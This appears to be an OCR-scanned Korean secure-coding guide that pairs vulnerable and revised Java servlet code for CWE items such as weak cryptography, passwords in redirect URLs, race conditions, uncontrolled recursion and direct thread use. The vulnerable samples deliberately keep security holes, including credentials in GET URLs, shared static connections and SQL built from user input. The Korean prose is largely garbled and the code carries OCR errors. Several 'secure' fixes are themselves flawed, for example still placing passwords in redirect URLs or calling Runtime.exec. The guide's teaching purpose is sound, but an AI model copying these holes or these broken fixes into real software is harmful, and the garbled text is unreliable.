15: catch (NoSuchAlgorithmException e)
16: {
17: System.out.println("Exception: " + e);
18: }
19: return rslt;
20. |}

t 28] ofele WrE Aol SEE, dlZo] ofel e salt
2 T@ske] ALgshelof Bt
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B 333 =9 9 - JAVA

1. e
2: public byte[] encrypt(byte[] msg)

3: {

4: byte[] rslt = null;

5:

6: try

7 {

8: SecureRandom prng = SecureRandom.getInstance("SHA256PRNG");
9: String randomNum = new Integer( prng.nextnt() ).toString();
10: MessageDigest md = MessageDigest.getInstance("SHA-256");
11:

12 /) A B 5 Al dolel £AE AAsIok B,
13: md.update(randomNum.getBytes());

14: rslt = md.digest(msg);

15: }

16: catch (NoSuchAlgorithmException e)

17: {

18: System.out.println("Exception: " + e);

19: }

20: return rslt;

21: }

22: }

ool dAl=

RSAStS3HE sh7] A, 3719 AJAANE AR s dd =25 &
ol HAA ek WY T2l SecureRandom()S AF-8-313L 31t} SecureRandom()
2 B Fast J}Oﬂ & BAo] dgt A S HHOE AFHE otk

B AdAF Z=9] ¢ - JAVA

SecureRandom random = new SecureRandom();

KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048, random);

KeyPair pair = generator.generateKeyPair();

Key pubKey = pair.getPublic();

Key privKey = pair.getPrivate();

Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
cipher.init(Cipher. ENCRYPT_MODE, pubKey, random);
byte[] cipherText = cipher.doFinal(newPassword.getBytes());

—_
=

g Zi 23
[1] CWE-326 Inadequate Encryption Strength, http://cwe.mitre.org/data/definitions/326.html

[2] 2010 OWASP Top 10 2010 - A7 Insecure Cryptographic Storage
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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23, H29l= ) U] E A] 3|29 =(Password Management: Password
in Redirect)

7t A9

HTTP 2jtjoldles 4] Hel$ 4 $3) HITP GET %HolE BAAT, o] 4%
Aol vl FEE AEugol wEHEE, HaYSSE o WHE T wu)
AL W oloh @7 A Azt o BAF Fae} F 2o0) Wolw, Y 25
of Mol AE AHFER, A8ATF A5 WA =Tt ARl B T W Bk,

e AN

[ ] Xk AR P L
m 28} Serveletoll A sendRedirect M AEE Edjas wj Qe
FellAe dET o2 FolX 2 Hkd Wiz A
POST W o= dev|E S L) oF ginh

Sl

z
3u
=R ﬁ
thEe] elAlE HTTP 2% (Request)e GET 4oz AdEstoan xza9e Fof on
a7l wrEE A Soldh =
BLECEEIE RN "
1T e
2:  public void redirect(ServletRequest r, HttpServletResponse response) throws IOException
3. |
4: String usr = r.getParameter("username");
5: String pass = r.getParameter("password");
6:
7: // HTTP el Ex 4Bk = Sl HITP GET requests AT
8: response.sendRedirect("j_security_check?j_username=" + wusr + "&j_pass-
word=" + pass);
9: 1}
OE so]A 2 Beke] RIZRE HRE B9 wl= GET 4ol obd POST 4oz ve}
HE dEsfof gt
B aAF F=9] o - JAVA
1T e
2:  public void redirect(HttpServletRequest request, HttpServletResponse response) throws
IOException
3 |
4: request.getSession().invalidate();
5: String usr = request.getParameter("username");
6: String pass = request.getParameter("password");
7:

H2E E27|5 »» 101
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J7 =SS fEAE BAw,

if (usr == null || ".equals(usr) || pass == null || "".equals(pass) ) return;
if ( !pass.matches("") &é& pass.indexOf("@!#") > 4 && pass.length() > 8 )

{

}
// POST 2o Ho|A & dAok gt

String send = "j_security_check?j_username=" + usr + "&j_password=" + pass;

response.encodeRedirectURL(send);

HolA = Heto] WIZRE JRE B w= RSASH 22 ¢Est 7HS AH8stH
H 3= FHE dHolHE dLdte Ao Eb kst tge] dAle ZEteld
ublic keyE ©]83t] ¢astH HOHE private keyZ HE35}std 1 Hlo|E &

B AT I=9 o - JAVA

12:
13:

15:
16:
17:
18:
19:
20:
21:
22:
23:

24:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command ## 72

private final String CHANGE_PASSWORD_CMD = "get_user_info'";
private final String USER_ID_PARM = "user_id";

private final String PASSWORD_PARM = "password";

private final String NEW_PASSWORD_PARM = "new_password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(CHANGE_PASSWORD_CMD))
{
SecureRandom random = new SecureRandom();
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048, random);
KeyPair pair = generator.generateKeyPair();
Key pubKey = pair.getPublic();
Key privKey = pair.getPrivate();

// public keyE F|UES) HU31, FTOIAENA 1 keyE HIFOE ¢E3H Ho]
B WE F TA AHE B2 HoJElE AHEdth

192 <« H|2H
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26: String userld = request.getParameter(USER_ID_PARM);
27: String password = request.getParameter(PASSWORD_PARM); // 93 31gl 3j2-9|=
28: String newPassword = request.getParameter(NEW_PASSWORD_PARM);
29:
30:
31: Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
32: cipher.init(Cipher. DECRYPT_MODE, privKey);
33: byte[] cipherText = cipher.doFinal(newPassword.getBytes());
34:
35: response.encodedRedirectURL("http:/ /linksite?id=" + userld + "&password=" +
String(cipherText));
36: }
37:
38}
39:
40: '}
g AR |

[1] CWE-359 Privacy Violation, http://cwe.mitre.org/data/definitions/359.html

[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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24, 22 XEWHS 29| 45 AZ(Multiple Binds to the Same Port)

7% A4

n 3j7 2UF FA0] =EE 4 JOoEE UDP ZEEFJ 3l ZEMT oz ]9
AW Z 2748 velgsides o =
o} oA
shue] TE Wsol oy /e Azlo] nieIdEE AL segezi Hzl AUy 34
o x%d9 4 Uk

T e
2 final int INPORT = 1711;

3 void sockport()

& {

5: try

b: {

7 java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);
8 socket.setReuseAddress(true);

9: }

10: catch (SocketException €) { ~*** }

11: }

12: )

Ju—y

final int INPORT = 1711;
void sockport()
{

try
{
java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);

socket.setReuseAddress(false);

}
catch (SocketException ) { "= }

—_
=4

=
=
-

o I3z =d
[1] CWE-605 Multiple Binds to the Same Port, http://cwe.mitre.org/data/definitions/605.html
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A3E Az L AH

Nz Adeel gk FHepdoldr e ade] F3 oA AzHE 711@% Z3a 7d
(Z2A 2 52 2= F)oly Al=H" A gk XJE(ZP AFolyt Al K)ol HAR
M T3} o7 HFHo] &3ke AEEE vl=2(dead lock)oly, Aol Wy A4

=4, == AA 1% 5& € 7 Utk

1. A =3: AAAAETG AL8-AF(Time-of-check Time-of-use(TOCTOU)
Race Condition)

7k A
WEAZR(HE Z2A 22 783 S8ZEIOH)dA = AL, &7 5)& AHSSH
of kA AL FHE HARITE AR AYE ARRStE AR HAkeks AlRo] ThEY]
wfjZoll, AASkE Al A (time of check)oll EASH Aol ARESFA Al (time of use)oll A
A= 5 A AEirt Wats Aot AT shute] Aol thato] FAll AARAA
I ARRAA o] Gt AVlE HRHoR & §718 e/ oiyd wAYH T3 2
AR o] TR

Z A}
(TOU)

HAL o=
AE-817| |
(TOu)

<I¥ 216> AR =3 HARAR A} AHEAIR(TOCTOU)
<9 2-16>3 o] ZEAN~ A} B/l EA5tE BE HEAE 3AHANA ZZA~

AE AR 7)ol @4 S shdel A=A AAHE BR(T00E AR ol
toZEAs BN Y A oba AG(ARA)EA e gEjoly] miel, P Aol

MI3E AlZH & HE{ »
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A 9l ZEA2 A A "ok ST AA AM(TOU) Al-ell T2A2 AE
A Fe Ade AHgEHAL o] HE &F To] WY F Utk

ols} o] shte] Ao thstel FAGl AAAHI Al Dt e HopHoE
Q3] B8 ©F W ohUeh wAYE 3} e Aol WAL

7%, 718} F-&(synchronized)<

AUl B ol@ et HEstel AT
; % ZR IS Agstefof gk

[
o
olgstel @ Wlol shkel AHET AL Thss
o statr] 98 dAZE FHS 578 FEOE AT
A& uf= thread safe SH4-0HE AFRSICH

&
sy
=

2
=
ﬁ
r 1r
ol
ot
tlo

L/
l')

teel s Sde] 4B el
£ A AL BSR4, Y
Eihe gHE £9E & Ao
e

ok 4 gtk

1:  import java.io.”;

2

3:  class FileAccessThread extends Thread

4

5: public void run()

6 {

7 try

8 {

9 File f = new File("Test_367.txt");

10: if(f.exists())

11: { /7 "ok opdo] EAskd 9 W82 9l
12: BufferedReader br = new BufferedReader(new FileReader(f));
13: br.close();

14: }

15: }

16: catch(IOException e)

17: {

18: System.err.println("IOException occured");
19: }

20: }

21 }

22:  class FileDeleteThread extends Thread

23: |

24: public void run()

25: {

26: File f = new File("Test_367.txt");
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27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:

if(f.exists())

[ /] et o] EAjsha
f.delete();

}

HAE ARG

public class U367
{
public static void main(String|[] args)
{
/7 Hdel g7k Bl e sk AL S0l SR
FileAccessThread fileAccessThread = new FileAccessThread();
FileDeleteThread fileDeleteThread = new FileDeleteThread();
fileAccessThread.start();
fileDeleteThread.start();

Lo L I 2 5
("Test_367.txt") 0] FAlo] AME-EH A F=E F)|oF st}

AA e} o] w713 FE2l synchronizedE AME3Il]  FHA

AW Z=9 o - JAVA

1:
2

3

4
5:

6

7

8

9:

10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:

import java.io.*;

class FileAccessThread extends Thread

fr
ol
=2

//  synchronized & AHFo XN B5S T3} A7 Al locko]
// REA THE Thread A4 £ o A28 ik
public synchronized void run()
{
try
{
File f = new File("Test_367.txt");

if(f.exists())
{
BufferedReader br = new BufferedReader(new  FileReader(f));
br.close();
}
}
catch(IOException €) { System.err.println("IOException occured"); }
}

}

class FileDeleteThread extends Thread

HI3E AlZH 3 Sy
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22: |

23: public synchronized void run()

24: {

25: File f = new File("Test_367.txt");

26:

27: if(f.exists())

28: {

29: f.delete();

30: }

31: }

32}

33:

34:  public class S367 {

35: public static void main(String[] args) {

36: FileAccessThread fileAccessThread = new FileAccessThread();
37: FileDeleteThread fileDeleteThread = new FileDeleteThread();
38: fileAccessThread.start();

39: fileDeleteThread.start();

40: }

41: |}

HttpServets ‘&2 MyServlete] WHIE=Z names AMESIY Tl name

MyServlet-s Ao AM&steE BE AHEAOAl ARV =FHTh

public class MyServlet extends HttpServlet

{
String name;
public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres )
{

name = hreq.getParameter("name");

nameS doPost MAEoW AMEE £ Q52 24T AHosle] AAAHE AAT )

B aHE 7=9 41 - JAVA
public class MyServlet extends HttpServlet
{

1
2
3 public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres )

4 {

5: //AER Z2IHE] Y Wes 808 ARESE] ufidl 2R Ao ARSIt
6 String name = hreq.getParameter("name");

7

8
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A4 names 2] 2HE AtololA FfaloF §THH, synchronized &7¢S AHg-sto]
A X

YAZETL 2EEF It F718E T
B AT F=9] d2 - JAVA
1:  public class MyClass
2|
3 String name;
4 public void doProcess (HttpRequestRequest hreq )
5: {
6 // WHEE EF Al SR
7 synchronized
8 {
9 name = hreq.getParameter("name");
10:
11: }
12:
13: }

theel oAl 2791 Furt BH A9 Login log® 7158 Ze o]t

1:  import java.io.JOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex. Matcher;

5:  import java.util.regex.Pattern;

6:  import javax.servlet.ServletException;

7:  import javax.servlet.annotation.WebServlet;

8:  import javax.servlet.http.HttpServlet;

9:  import javax.servlet.http.HttpServletRequest;

10:  import javax.servlethttp.HttpServletResponse;

1. /*

12:  * Servlet implementation class Sqllnjection

13 */

14:  public class Service extends HttpServlet

15 {

16:  private final String COMMAND_PARAM = "command";
17:

18: // Command #¥# 9]

19:  private final String LOGIN_CMD = "login";

20: private final String USER_ID_PARM = "user_id";

21:  private final String PASSWORD_PARM = "password";
22:

23:

24:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

MI3E AlZH & HE{ »
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ServletException, IOException
25: |
26: String command = request.getParameter("command");
27:
28: if (command.equals(LOGIN_CMD))
29: {
30: String userld = request.getParameter(USER_ID_PARM);
31: String password = request.getParameter(PASSWORD_PARM);
32:
33: if(checkLoginInfo(userld, password) == true)
34: {
35: recordLoginLog(userld, password);
36: }
37:
38: }
39:  }
40:  private void recordLoginLog(String userld, String password)
41 |
42: File logFile = new File("log");
43: if(logFile.canWrite())
44: {
45: // login logE 7|53tk
46: }
47.  }
48:
49: '}

THRAAEE B0, HD S oA 2=k H2eke] A48T FY, £/ TES 0%
ste] @ Wl shbe] =gt A

B 9343 Z=9 9 - JAVA
import java.ioIOException;

import java.sql.Connection;

import java.sql.Statement;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
10:  import javax.servlethttp.HttpServletResponse;
11 /*

12:  * Servlet implementation class Sqllnjection
13 */
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14:  public class Service extends HttpServlet
15 {
16:  private final String COMMAND_PARAM = "command";
17:
18: // Command ## 9]
19:  private final String LOGIN_CMD = "login";
20: private final String USER_ID_PARM = "user_id";
21:  private final String PASSWORD_PARM = "password";
22:
23 =
24:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws N
ServletException, IOException (2
25 |
26: String command = request.getParameter("command");
27: >
28: if (command.equals(LOGIN_CMD)) Hu
29 | 2
30: String userld = request.getParameter(USER_ID_PARM); (|)-_|E_|
31: String password = request.getParameter(PASSWORD_PARM); N
32: §
33: if(checkLoginInfo(userld, password) == true) In
34: {
35: recordLoginLog(userld, password);
36: }
37:
38: }
39: }
40:  private void recordLoginLog(String userld, String password)
41: |
42: synchronized(SYNC)
43: {
44: File logFile = new File("log");
45: if(logFile.canWrite())
46: {
47: // login logE 7153t
48: }
49: }
50: }
51:
52: }
A il

[1] CWE-367 Time-of-check Time-of-use(TOCTOU) Race Condition,
http:/ /cwe.mitre.org/data/definitions/367.html
[2] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software
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Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010

[3] Andrei Alexandrescu. "volatile - Multithreaded Programmer’s Best Friend". Dr. Dobb’s.
2008-02-01

[4] Steven Devijver. "Thread-safe webapps using Spring"
David Wheeler. "Prevent race conditions". 2007-10-04

[5] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare
Redux". September 1995

[6] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security
Institute. 2010-03-26
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2. AloJE& AHESHA %= A (Uncontrolled Recursion)

7

A7e) BIFE AfSA Ratel TR vme} TR 28 S AU Fot
S AHgstE st TR A%, A Zd(base case)o] Y= AAFLE T =
Zo WA BA H3 AULLL RGO Axdlel FPAA ANAE AT 5 9
Al ek

Func_A Func_A Func_A

Sl

/I/

Func_A Func_A Func_A

NN\

X & S8t u=

Slolc BEElY

<j-a]u 2-17> Zﬂo']v‘:’_—% /\]__g_a—]_zl o= ZH:H?:—/F

rr

9l 29e 5 Func A7F AF B¢ FEIR B BEFoRN A ude {08

. HAE 297
n B3 AAE GAE] et ZE AF 552 ZAE EYoly WHEE B oAt
Sa)slof wr}
o oA
AR o Aolds Fae] 49, AN BF) ZAT/MRE Bel o)RolA Lojyw
gRE w3 AAE faa
T e
2:  public int factorial(int n)
3
& /) AR 5F0] 2AR/WRET Bel R4 Lolw URE B AN SUach
5 return n * factorial(n - 1);
6: }
RE A 52 ZARIY WEE B Qo)A o] LojH ok,
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B dAF Z=9] ¢ - JAVA

T e
2:  public int factorial(int n)

3

4 int i;

5: // BE AT TEL AZOI WHEE 58 QhllA] o] FojFokjit
6 if (n==1)

7 {

8 i=1;

9 }

10: else

11: {

12: i = n * factorial(n - 1);

13: }

14: return i;

15:  }

teel Al gdEels 54 B9 e Zzagelt ddEy By F 4%
Y gt hzsb) 2e Aol EAE JE A3 e AU FRRIZ WA 5

o.

A

1: // Directory %l Symbolic link(or BF27}7)7} & 4%, EUA &<  SUth
2:  public String findFile(String rootDir, Strinf fileName)

3

4 String[] fileList = getSubFiles(rootDir);

5: for(int fileldx = 0; fileldx < fileList.length; fileldx++)

6: |

7 if(isDirectory(fileList[fileIdx]) == true)

8 {

9: String foundPath = fileFile(fileList[fileIdx], fileName);

10: if(foundPath != null)

11: {

12: return fileList[fileldx] + foundPath;
13: }

14: }

15: else

16: {

17: if(fileList[fileldx].equals(fileName) == true)
18: {

19: return fileName;

20: }

21: }
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22:  }
23. |}
A7) BEIME A2Y F2F GebrbA WS vhe FHlo] Basi,

B A3 7=9 o - JAVA

1. // Symbolic link® Wb @ whot,

2

3:  public String findFile(String rootDir, Strinf fileName)

4 |

5: String]] fileList = getSubFiles(rootDir); ;
6 for(int fileldx = 0; fileldx < fileList.length; fileldx++) RS
7 0z
8 if(isDirectory(fileList[fileIdx]) == true)

9: {

10: if (isSymbolicLink(fileList[fileIdx]) == false) -
11: { =1
12: String foundPath = fileFile(fileList[fileIdx], fileName); ﬁ
13: if(foundPath != null) on
14: { N
15: return fileList[fileldx] + foundPath; =
16: } In
17: }

18: }

19: else

20: {

21: if(fileList[fileldx].equals(fileName) == true)

22: {

23: return fileName;

24: }

25: }

26: }

27}

g F1 &3

[1] CWE-674 Uncontrolled Recursion, http://cwe.mitre.org/data/definitions/674.html
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AR z7:. AA Holgu|o]2~ AZ(Race Condition: Static Database

Connection, dbconn)

7t A9
A2 deo] A%E DB A4S == Atolo] FHHAR, EMAML gliax AAlE F
Aol shte] EFAAACRE AdE 4 QojA eF{T A + Sdrh
U A3 2971
n g2 doo) AAE DB A2 2= Abolo] FfEo] A F7(race condition) S
S+ Jor® DB 9Z2S H4 deo AAstA <k Hrh
o} oA

ool dAlet o] DB A4 AAE FA dEof| AetH AR ZZ(race condition)<
e A

1T e
2: // DB 92 AL AF o AREo] g 28 4 Qdrh

3: private static Connection conn;

4:  private static final String CONNECT_STRING = "jdbc:ocl:orcl";

5:

6:  public Connection dbConnection(String url, String  user, String pw)

7|

8: InitialContext ctx;

9: try

10: {

11: ctx = new InitialContext();

12: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
13: conn = datasource.getConnection();

14: }

15: catch (NamingException e) { " }

16: return conn;

17}

18: e

7474 Z71(Race condition)S 4'3}7] 98] DB 14 AA = 52 o Ao

B 3R 7=9] 9 - JAVA

2. // DB 94 AAl= A= deol A% o=t
3: private Connection conn;
4:  private static final String CONNECT_STRING = "jdbc:ocl:orcl";
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public Connection dbConnection()
{

InitialContext ctx;

try

{
ctx = new InitialContext();

DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
conn = datasource.getConnection();

}
catch (NamingException e) { =" )

return conn;

th9] dAlel Zo] DB A AAE FA dEof AstH HA ZZ(race condition)S

1
% ATk conn®] null ©] o)™, & o|u] EX|5= DB Connection®] EA|SITHH 2
&

MZ-E Connections THEA] &1 7|9 AL FHstela A=sHA Hth

public class SearchThread extends Thread

{

static private String jdbc_driver = "oracle jdbc.driver.OracleDriver";

static private String jdbc_url = "jdbc:oracle:thin:@123.234.33.22:1521:company";
static private Connection conn = null;

static private String dbPassword;

private String searchltemy;

public SearchThread(String searchltem)
{

this.searchltem = searchltem;

}

public void run()
{
if(conn == null)
{
conn = DriverManager.getConnection(jdbc_url,"123.234.33.22", dbPassword);
}
// Search items
}
}
public class ItemSearcher

{
public void searchltems(ArrayList<String> items)

HI3E AlZH &
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26: |

27: ArrayList<SearchThread> threads;

28: for(int idx = 0; idx < itemslength(); idx++)
29: {

30: SearchThread thread = new SearchThread(items.get(idx));
31: threads.add(thread);

32: thread.start();

33: }

34:

35}

36: )

Z+zro] ~#Enltt DB connectionS SR ZFEE Sl transaction©] sFUFe] Aol
sl FAlo] AU FEZ AT (2] 2HETF conndE S BE=Y SRS Ag

& 7hekA esteh)

B dAZd 7=9] ¢ - JAVA

1:  public class SearchThread extends Thread

2: |

3:  static private String jdbc_driver = "oraclejdbc.driver.OracleDriver";
4:  static private String jdbc_url = "jdbc:oracle:thin:@123.234.33.22:1521:company";
5: private Connection conn = null;

6:  static private String dbPassword;

7: private String searchltem;

8:

9: public SearchThread(String searchltem)

10: |

11: this.searchltem = searchltem;

122}

13:

14:  public void run()

15: |

16: conn = DriverManager.getConnection(jdbc_url,"123.234.33.22", dbPassword);
17:

18: // Search items

19 }

20: '}

21:  public class ItemSearcher

22: |

23:  public void searchltems(ArrayList<String> items)

24: |

25: ArrayList<SearchThread> threads;

26 for(int idx = 0; idx < items.length(); idx++)

27: {

28: SearchThread thread = new SearchThread(items.get(idx));
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29: threads.add(thread);
30: thread.start();
31: }

. Fa BY
[1] CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization
(Race Condition), http://cwe.mitre.org/data/definitions/362.html

Sl

[2] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems

Slolc BEElY
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4. A7 =7: AZFE U T E(Race Condition: Singleton Member Field)

7
AEE(Serviet)o] BIW =+ TE 2929 3f2 F 7] W, A& W 2=
o AZE @2 e ARAIA =22 Atk

1= e X AR L
n A8 HolEHE AER L] o AAstA dolEldd the AR Z(race condition)&
o718k, AMEA7E BHE AREARS] HlolEE E 4 AT welx], AHEA Y tlolHE
MBS B AR dfAe= T

2o dAle oF wWARSEY e oo ARI F, 28 ~EFog WUt oA
& gd ARERE BHoME 2ntEAl FASIAIY, 25 o] ARERTE ALl FAl A BBl
HISIH o2 AMEAY] ARE B F th

public class RaceCon extends javax.servlet.http.HttpServlet

1
2

3 // e ] miEsgo] AR dgEol e AHAe] ARE B 5 3tk
4: private String name;
5
6

protected void doPost(HttpServletRequest req, HttpServletResponse res) throws
ServletException, IOException

{

® N

name = req.getParameter("name");

2% W] s = giilel] Ao A3t

B aAHE 7=9 o - JAVA

1:  public class RaceCon extends javax.servlet.http.HttpServlet

2

3: // private String name; <- ¥ FEE AMESHA] P=th

4 protected void doPost(HttpServletRequest req, HittpServletResponse res) throws
ServletException, IOException

{
// SereEe] uEsE Ao W] TRk,
String name = req.getParameter("name");

if name == null || "'.equals(name)) return; //name = "user";

Y X N a
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ol dAls 83 vizidse ghe W FEl] AFY F, FHOE Huth o)zl
S AR Bl = SutEA TSI, 27 AREATE Al FAll AEBlel HT
S g2 Agae] Aues FWe sbsaol Ak
1: // fillUserLogininfo2 F-E| id, passwordE ¥/ ¥ Z1& W W At
2:  import java.io.lOException;
3:  import java.sql.Connection;
4:  import java.sql.Statement;
5. import java.util.regex.Matcher; >
6:  import java.util.regex.Pattern; :
7:  import javax.servlet.ServletException; o
8 import javax.servlet.annotation.WebServlet;
9:  import javax.servlet.http.HttpServlet;
10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlet.http.HttpServletResponse; ﬁ
12: /% =)
13:  * Servlet implementation class Sqllnjection (l)-Jl:II
14: ¥/ N
15 public class Service extends HttpServlet =
16: n
17: private final String COMMAND_PARAM = "command";
18:
19:  // Command #d A9
20:  private final String GET_USER_INFO_CMD = "get_user_info";
21:  private final String USER_ID_PARM = "user_id";
22:  private final String PASSWORD_PARM = "password";
23:  private String userld;
24:  private String password;
25:
26:  private void fillUserLoginInfo()
27: |
28: userld = request.getParameter(USER_ID_PARM);
29: password = request.getParameter(PASSWORD_PARM);
30:  }
31:
32:  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
33
34: String command = request.getParameter("command");
35:
36: if (command.equals(GET_USER_INFO_CMD))
37 {
38: fillUserLoginInfo();
39: Statement stmt = con.createStatement();
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40: String query = "SELECT * FROM members WHERE username= ’" + make-
SecureString(userld, MAX_USER ID_LENGTH) + " AND password = " + make-
SecureString(password, MAX_PASSWORD_LENGTH) + "";

41: stmt.executeUpdate(query);

42: }

43:

4. 1}

45:

46: }

274 W] gE 2= tidlel] v HE new= SR wRF o] A7

M 1A% I=9 4 - JAVA

1:  // fillUserLoginlnfo= F-E id, passwordg @7 W= A& A|d Wl A743gic)
2:  import java.io.IOException;

3:  import java.sql.Connection;

4:  import java.sql.Statement;

5. import java.util.regex.Matcher;

6:  import java.util.regex.Pattern;

7:  import javax.servlet.ServletException;

8:  import javax.servlet.annotation.WebServlet;

9:  import javax.servlet.http.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;

11:  import javax.servlethttp.HttpServletResponse;

12: /**

13:  * Servlet implementation class Sqllnjection

14:  */

15:  public class Service extends HttpServlet

16: |

17: private final String COMMAND_PARAM = "command";
18:

19:  // Command ¥& 9]

20:  private final String GET_USER_INFO_CMD = "get_user_info";
21:  private final String USER_ID_PARM = "user_id";

22:  private final String PASSWORD_PARM = "password";
23:  private String userld;

24:  private String password;

25:

26: private final int USER_ID_INDEX = 0;

27:  private final int USER_PASSWORD_INDEX = 1;

28:

29:  private String]] fillUserLoginInfo()

30:

31 String [] loginInfo = new String|[2];

32: loginInfo[USER_ID_INDEX] = request.getParameter(USER_ID_PARM);
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33: loginInfo[USER_PASSWORD_INDEX] = request.getParameter(PASSWORD_PARM);

34: return logininfo;

35}

36:

37:  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

38 {

39: String command = request.getParameter("command");

40:

41 if (command.equals(GET_USER_INFO_CMD)) =

42: { N
0

43: String[] logininfo = fillUserLoginInfo();
44: String userld = loginInfo[USER_ID_INDEX];
45: String password = loginInfolUSER_PASSWORD_INDEX];

46: Statement stmt = con.createStatement(); -

47: String query = "SELECT * FROM members WHERE username= ’" + make- Hu
SecureString(userld, MAX_USER_ID_LENGTH) + " AND password = " + make- ﬁ
SecureString(password, MAX_PASSWORD_LENGTH) + ""; on

48: stmt.executeUpdate(query); N

49: } §

50: In

51:  }

52:

53. }

|

[1] CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization
(Race Condition), http://cwe.mitre.org/data/definitions/362.html

[2] The Java Servlet Specification, Sun Microsystems
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5. J2EE ZEH 3 2d =9 FFH AME(J2EE Bad Practices ° Direct
Use of Threads)

. ¢kAZ Y71y
» DEEIAE 2~g =2 Ag3hs 2 glale] W AL 98 T as Agsjol gk

t}. oA
J2BE Z2 oA ~HEE 23 AAste] AgH, wA e, A4 =24, 9 Ve §
713 & F To] AT = Utk

1:  public class runthread extends HttpServlet

2|

3: protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

4 {

5 // ThreadE YH=1l backgroundol Al A4S eyt

6: Runnable r = new Runnable()

7 {

8 public void run()

9 {

10: System.err.printin("do  something");

11: }

12: |5

13: new Thread(r).start();

14: }

15}

Y EE %

A4 gt A tale] g EAToIA AT 3
9aE Agac

e
>
0%
tlo
)
ok
|
o)
ol

B aAF Z=9] o - JAVA

1:  public class runthread extends HttpServlet

2. |

3: protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

4: {
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5: /] 7 Threadel tlolA AT A} Zo2=8 etk
6: // New MyClass().main();

7:

8 // TeF async® WHEAUE 317] 91814 JAVA Runtimes

9: // A3 async® BAIEHE Al Foh

10: Runtime.getRuntime().exec("java AsyncClass");

11: }

12: 1}

13:

14:  class AsyncClass =i
150 | N
16: public static void main(String args[]) oz
17: {

18: // Process and store request statistics.

19: /]

20: System.err.println("do something");

21: }

22}

J2EE Z=IfollA 2e =8 A3 AAdste] ARgstd, nzk g, 48 =4, B
718 & Fol B F Atk tho] A= threadstarts A3 EEdt= FHE ARE
o)

£
ska Sl

Slolc REElY

1: // Thread startE 24 call

2:

3:  public class SimpleAsyncServlet extends HittpServlet

4: |

5. /%

6:  * Simply spawn a new thread (from the app server’s pool) for every new async request.

7 * Will consume a lot more threads for many concurrent requests.

8: */

9:  public void service(ServletRequest req, final ServletResponse res) throws ServletException,
IOException

10: |

11:  Thread thread = new Runnable()

122 |

13: public void run()

14: {

15: try

16: {

17: ctx.getResponse().getWriter(). write(MessageFormat.format("<h1>Processing
task in bgt_id:[{0}]</h1>", Thread.currentThread().getld()));

18: }

19: catch (IOException e)
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20: {

21: log("Problem processing task', e);

22: }

23: ctx.complete();

24: }

25}

26:  thread.start();

27}

2HEE A AHgSE A ool T TAE A ATss BE WS A =z
SEEREE

B 333 Z=9] o - JAVA

216 <« H3HE

1: // FrameworkollA A|-&3l= async 7% A&

2:  public class SimpleAsyncServlet extends HttpServlet

3 |

4:

5. * Simply spawn a new thread (from the app server’s pool) for every new async request.

6:  * Will consume a lot more threads for many concurrent requests.

7 */

8:  public void service(ServletRequest req, final ServletResponse res) throws ServletException,
IOException

9: |

10: // create the async context, otherwise getAsyncContext() will be null

11: final AsyncContext ctx = req.startAsync();

12: // set the timeout

13: ctx.setTimeout(30000);

14: // attach listener to respond to lifecycle events of this AsyncContext

15: ctx.addListener(new AsyncListener()

16: {

17: public void onComplete(AsyncEvent event) throws IOException

18: {

19: log("onComplete called");

20: }

21: public void onTimeout(AsyncEvent event) throws IOException

22: {

23: log("onTimeout called");

24: }

25: public void onError(AsyncEvent event) throws IOException

26: {

27: log("onError called");

28: }

29: public void onStartAsync(AsyncEvent event) throws IOException

30: {

31: log("onStartAsync called");

Azt 2 e




32: }

33: Y

34: // spawn some task in a background thread

35: ctx.start(new Runnable()

36: {

37: public void run()

38: {

39: try

40: {

41: ctx.getResponse().getWriter(). write(MessageFormat.format("<h1>Processing =

task in bgt_id:[{0}]</h1>", Thread.currentThread().getld())); N

42: } (2

43: catch (IOException e)

44: {

45: log("Problem processing task", e); -

46: } Hu

47: ctx.complete(); =2
kU

48: } on

49: b N

50: } §
In

el dAlel e e JRES fol i A2 A=

2 M4stn o

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

=l
X0
o)
L=
e
i)
fu
Iy
il
i

1

2

3

4

5: // Command ## 2]

6 private final String UPLOAD_DOCUMENT_COMMAND = "upload_document";

7

8 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

9: {

10: String command = request.getParameter(COMMAND_PARAM);

11:

